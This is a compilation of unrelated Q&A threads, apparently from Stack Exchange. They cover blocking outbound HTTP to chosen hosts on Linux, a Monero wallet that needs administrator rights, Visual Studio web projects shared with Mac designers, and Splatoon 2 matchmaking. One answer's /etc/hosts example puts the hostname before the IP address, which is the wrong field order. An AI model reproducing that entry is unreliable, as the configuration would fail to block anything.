Question: I want to prevent code from making http connections to other, specific hosts.  My understanding is this can be done in /etc/hosts.deny.  What would that look like?
Answer: You could map the hostnames to localhost in /etc/hosts (its easier to setup than hosts.deny, but lacks granular control).
Example entry in hosts file:
google.com    127.0.0.1
someotherdomain.com    127.0.0.1

Oh btw, this question is better suited for serverfault.com.
Comment: This is what I tried initially but it gave me unexpected results.  For one, as another poster mentioned, if there is a webserver listening on localhost, it would respond to the request.  Also, some programs cache hostname lookups indefinitely.  If I'm interested in only temporarily disabling connections, then I would have to restart that program to refresh its DNS cache.
Comment: @Nate Try setting it an internal address that isn't in use on your network. Eg. google.com    192.168.20.250
Answer: A good breakdown of the host files: http://linux.about.com/od/commands/l/blcmdl5_hostsde.htm
Answer: The /etc/hosts/ approach is a poor one since on whatever address you redirect the "forbidden host" to, another web-server might listen.
If you have write access to /etc/hosts, you're generally root and also in charge of setting up your firewall. This is where you should set up rules concerning outgoing traffic.
Answer: The linux kernel has firewall capabilities. these will probably give you the best results.
It's not clear from you question if you want to block all http connection from your machine to the specific hosts, or only a specific program - but if needed you can also filter traffic by originating application or user.
I usually use FireHOL which is a convenient wrapper around the basic firewall configuration commands.
Answer: No, hosts.deny will not do it. Nor will hacking /etc/hosts make any difference (it may break the resolver library, but not prevent an application making outbound connections if it does not use the standard resolver, or finds addresses in some other way).
Using a firewall is really the most obvious way. For locally-generated traffic, iptables is able to block outbound packets by user ID, group ID or process ID, which means you can restrict it to specific processes. Probably the easiest way is to do it by user ID, and run it under some restricted user.


Do I have to run my Monero Wallet as an Administrator?

Question: My Monero wallet needed to resync every time I closed it out and opened it again (Wallet blocks remaining). I discovered that running the wallet as an administrator allows the autosaving feature of the wallet to work correctly, fixing the re-syncing issue. Is the wallet designed to be run as an administrator or have I improperly configured it? Thanks.
Answer: Not unless the wallet file(s) is/are owned by that administrator user. It is likely you put your wallet somewhere your normal user cannot write, and so saving the wallet cache after sync fails. You probably need to either move the file somewhere your normal user can write, or change the permissions on the wallet files and/or directory the wallet file(s) are in to allow writing by that user.


Developing Web Projects when working with Team members not using Visual Studio

Question: Does anyone have any good suggestions for working on teams where some members do not use Visual Studio? What are other people doing?
This is a general questions, but my specific situation is developing ASP.NET MVC applications using Visual Studio 2008 and SVN for source control.
In our office we have small teams. Usually we have one or more developers using Visual Studio and one graphic/html/css designer using a Mac with no Visual Studio.
This has a couple of problems.
First, without visual studio the desinger can't see his changes easily. The designers got us to use a technique that they were using on the PHP side of our office. We use a build server so the designers check in their changes and then view them in a web browser pointed at our build server. Not quite what they want? They make a tweak and check it in again.
Second, whenever I deploy a project to production I always either do a Publish or use a Web Deployment Project. The problem with this is that if a designer adds a file to the project file structure it isn't automaticly added to the Visual Studio Project file. So someone has to go through all the folders and look for files that aren't in the project to make sure everything gets included. Once the file is added, the designer can change the file no problem, unless the delete it which causes heartburn for Visual Studio.
Other people must have these same issues. How do they handle them?
We can get our designers to use Visual Studio but it really doesn't mesh well for their workflow.
I'm mostly concerned with the 2nd issue. I don't like issue 1 but our current solution works, however I would really like to know if people have good suggestions.
Comment: well, then you are living in a cave.
Comment: SVN can't find these untracked files for you?
Comment: the problem isn't that SVN isn't tracking them, it is. the problem is that Visual Studio isn't tracking them so they don't get output by the web deployment project.
Comment: Sounds like there's a very good reason why I've never seen anyone use Visual Studio for web development.
Answer: For updating the project, there is the option of writing a script that manually updates the .proj files - they're just XML.
Answer: I know this is a simple solution, but simple is good.  There is a button on the Solution Explorer toolbar to "Show All Files", which causes VS to show ALL files that exist in the root and subfolders where your .sln and project files are.  This makes it easy to see files that are physically located in those folders, but are not included as part of your project.  It's very fast and easy to select all of those by shift-click or control-click, right click, and go to "Include in Project".
Likewise, it's easy to right-click and exclude a file that has the yellow exclamation point, because it no longer exists.
Answer: As you say the problem is that the file is not included in the Visual Studio Project.
Since the designer does not have VS he cannot add the file to the VS project.
One way to fix it, is to give the designer "Update" but not "Create" rights. Then when they need to start work on a new file, they must go to a developer and ask for the file to be created and added to the VS project.
In that way no file can be added without it being added to the VS project at the same time.
Answer: We have the same problem in our office too. For web projects, we always use File->"New Website" instead of "New project". For "projects, the graphics need to tell the developers what files they added or you have to figure that out by going through the subversion history.
Comment: I've done this also and it actually works well, but the MVC project template is a WAP (web application project) instead of a WSP (web site project). I could try converting it, but I think that might cause other issues like unit testing the controllers. I admit that I haven't tried it though.
Answer: Expression Suite was designed for this issue. Expression Web has the ability now to run a web application via it's own built in webserver just like visual studio can. The suite is tuned more for designers and has the focus on managing stylesheets and the creation of HTML.
You can find more information on the Expression Suite website.
Hope this works for you.
Comment: this would require Expression Web and I don't think that works on a Mac (except in a vm). let me know if I am mistaken.
This is a good possiblity though.


Splatoon 2 salmon run do you have to be in the same rank as your friends in order to play with them?

Question: I was trying to start a room with a friend of mine but every time we did, we just kept getting this "unable to connect to friend" notif. Whether i join him or he joins me. Our connection is good too so I have no idea what the problem is.
Answer: You may have a lower connection than needed to connect. If you have a high enough connection, then, you do have to have the same rank.
Answer: no you do not need to be the same rank as your friend,
However there are a few drawbacks to it when you or your friend is lower then the other,
Such as the one with the highest rank will get Reduced EXP (it warns u before u join a friend in salmon run about this) and that u might not have much of a challenge beating the wave
if u cant connect with your friend this might be the reasons

your friend is already ingame
connection problems midway (not form your switch but between you and him or the server)